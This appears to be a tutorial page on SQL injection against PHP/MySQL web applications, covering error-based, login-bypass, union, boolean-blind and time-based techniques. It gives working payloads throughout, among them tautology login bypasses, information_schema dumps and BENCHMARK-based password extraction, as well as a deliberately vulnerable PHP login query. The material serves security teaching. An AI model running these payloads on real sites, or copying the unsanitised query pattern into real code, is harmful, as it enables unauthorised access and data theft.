Table of Contents
Hacking - SQL Injection - Basic types of SQL injections
- Error based SQL injection.
- Bypassing authorization forms.
- Union based SQL injection.
- Blind SQL injection.
- Chained SQL commands.
- SQL injections inside insert/update/delete.
- Using regular expressions in SQL injection.
- Load/write files.
- Execute OS commands.
- Most of the different database backend types don't support some types of the SQL injections listed above.
- Using other channels instead of HTTP methods to do SQL injections.
Error based SQL injection
Error based SQL injections are used for revealing information about the existence of SQL injections and the type of the database engine.
For example, entering the ' character to some web field causes an error if the SQL injection error exist. In case of MySQL the result may look like this:
...- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ...
From the error message we can see that MySQL is used as the database. Additionally we may get some information about the field and table names used in the query.
Error based SQL injection exist when error messages generated by the database backend are returned to end user who can use that intel to go on to other types of SQL injection attacks.
Bypassing authorization forms
The following web form asks for the username and password from the client
<form action="?page=login" method="POST"> <input name="username" type="text"><br> <input name="password" type="password"><br> <input id="login" type="submit" value="Submit Query"> </form>
The following php script is executed to authorize the user
$query ="SELECT * FROM shop_users WHERE username='$_POST['username']' and password='$_POST['password']'"; $result = mysqli_query($connection, $query) $user=mysqli_fetch_assoc($result); if (!empty($user)) { return $user; ...
The username and password sent by the user are directly inserted into the SQL query without any input sanitation.
If the user enters the username bob and password LetMePass then the following query is executed in the database backend:
SELECT * FROM shop_users WHERE username='bob' AND password='LetMepass';
But if the user enters admin into username field and uses ' as the string terminator, the SQL tautology (true value) and the line end comment to fill the password field as follows:
randompassword' or '1'='1
Please notice that the last ' is added by the php code and the full executed command will be:
SELECT * FROM shop_users WHERE username='admin' AND password='randompassword' OR '1'='1';
If the query is successful then the first user in the dataset is fetched and the hacker is logged in.
If the first user returned is an admin then the attacker is now successfully logged in with superior privileges.
But if the first user returned is an unprivileged user then the attacker can enter a random username and use the false statement to exclude the first user while entering the following into the password field:
randompassword' or '1'='1' and id <> 1; -- #
Please notice that – should be followed by at least one character (like a space) and if the table has a id field then the query returns the second user
Union based SQL injection
Union based SQL injections are used to reveal database schema names, table names and column names. This info can be used to write other queries, for example for dumping data.
Union select is possible if every select has the exact same number of columns in their result set.
When web form allow to enter data display some result (like search form) and it has SQL injection then union select is probably possible.
Find out the right number of columns using union select or order by.
Terminate query in form field with a' and append an order by terminated with comments ; – #.
a' order by 1; --# a' ORDER BY 2; --# a' order by 3; --#
When you get an error for order by 3 then there is two columns.
When you know a number of columns then you can union select form other tables.
However, you need to know the schema name, table name and column names first.
The information schema is known to you and therefore you can collect information about tables, schemas, columns from the information schema.
Terminate query in form field with a' and append an union select terminated with comments ; – #.
For example in case the original query returns two columns:
a' union select TABLE_NAME, TABLE_SCHEMA from information_schema.tables; -- #
For example in case the original query returns 4 columns:
a' union select 1,2,TABLE_NAME, COLUMN_NAME from information_schema.columns; -- #
concat
While using union select you may need to select more fields than the first table contains. In that case the concat function can be used to combine two or more columns into one result column.
The concat(arg1,…,argN) function concatenates all arguments to one result.
SELECT concat(version(),' ',USER());
The concat(arg1,…,argN) function concatenating all arguments to one result.
a' select concat(version(),' ',user()); -- #
The result:
+--------------------------------+ | concat(version(),' ',user()) | +--------------------------------+ | 5.5.44-0+deb8u1 root@localhost | +--------------------------------+ 1 row in set (0.00 sec)
Example for concat
For example if the first query returns only one column then concat can be used to get data from information schema while concatenating the result.
a' union select concat(TABLE_NAME,'-',TABLE_SCHEMA) from information_schema.tables; -- #
a' union select concat(TABLE_NAME,'-',COLUMN_NAME) from information_schema.columns; -- #
Order by and union
Order by makes union select useless.
In such case use the same techniques that can be used in blind SQL injections.
Blind SQL injection
Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible. .
Examples
Content-based
Using a simple page, which displays an article with given ID as the parameter, the attacker may perform a couple of simple tests to determine if the page is vulnerable to SQL Injection attacks.
Example URL:
http://newspaper.com/items.php?id=2
sends the following query to the database:
SELECT title, description, body FROM items WHERE ID = 2
The attacker may then try to inject a query that returns 'false':
http://newspaper.com/items.php?id=2 and 1=2
Now the SQL query should looks like this:
SELECT title, description, body FROM items WHERE ID = 2 AND 1=2
If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will inject a query that will return 'true':
http://newspaper.com/items.php?id=2 and 1=1
If the content of the page that returns 'true' is different than that of the page that returns 'false', then the attacker is able to distinguish when the executed query returns true or false.
Once this has been verified, the only limitations are privileges set up by the database administrator, different SQL syntax, and the attacker's imagination, for example:
SELECT * FROM items WHERE ID = '5' OR '1'='1'; SELECT * FROM items WHERE ID = '5' AND '1'='2';
Time-based
This type of blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:
If the first letter of the first database's name is an 'A', wait for 10 seconds.
If the first letter of the first database's name is an 'B', wait for 10 seconds. etc.
Microsoft SQL Server
http://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10'--
MySQL
SELECT IF(expression, true, false)
For example:
http://www.shop.local/item.php?id=34 and if(1=1, sleep(10), false)
The web application is vulnerable if the response is delayed by 10 seconds.
Using some time-taking operation e.g. BENCHMARK(), will delay server responses if the expression is True.
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
will execute the ENCODE function 5000000 times.
Depending on the database server's performance and load, it should take just a moment to finish this operation. The important thing is, from the attacker's point of view, to specify a high-enough number of BENCHMARK() function repetitions to affect the database response time in a noticeable way.
Example combination of both queries:
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),NULL) FROM users WHERE user_id = 1;
If the database response took a long time, we may expect that the first user password character with user_id = 1 is character '2'.
(CHAR(50) == '2')
Using this method for the rest of characters, it's possible to enumerate entire passwords stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.
Obviously, in this example, the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.
Databases other than MySQL also have time-based functions which allow them to be used for time-based attacks:
- MS SQL 'WAIT FOR DELAY '0:0:10
- PostgreSQL - pg_sleep()
Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.org/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:
- scanning other website clusters, where clocks are not ideally synchronized,
- WWW services where argument acquiring method was changed, e.g. from /index.php?ID=10 to /ID,10
Remote Database Fingerprinting
If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier. If the time-based approach is used, this helps determine what type of database is in use. Another popular methods to do this is to call functions which will return the current date. MySQL, MSSQL, and Oracle have different functions for that, respectively now(), getdate(), and sysdate().
If the hacker wants to find out which version of MySQL the server is running (assuming that it is running a MySQL database), then the hacker could try to load this URL, which has some extra SQL appended to check to see if the server is running MySQL version 5 :
http://www.mybigspace.com?id=1008 AND substring(@@version, 1, 1)=5
The SQL “substring(@@version, 1, 1)=5” just checks to see if the version of MySQL that is currently running is version 5 (through the “=5” check), and if it is running version 5 then the page will just load normally.
A hacker may proceed with this query string designed to reveal the version number of MySQL running on the server:
http://newspaper.com/items.php?id=2 AND substring(@@version, 1, INSTR(@@version, '.') - 1)=4
which would show the items on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved.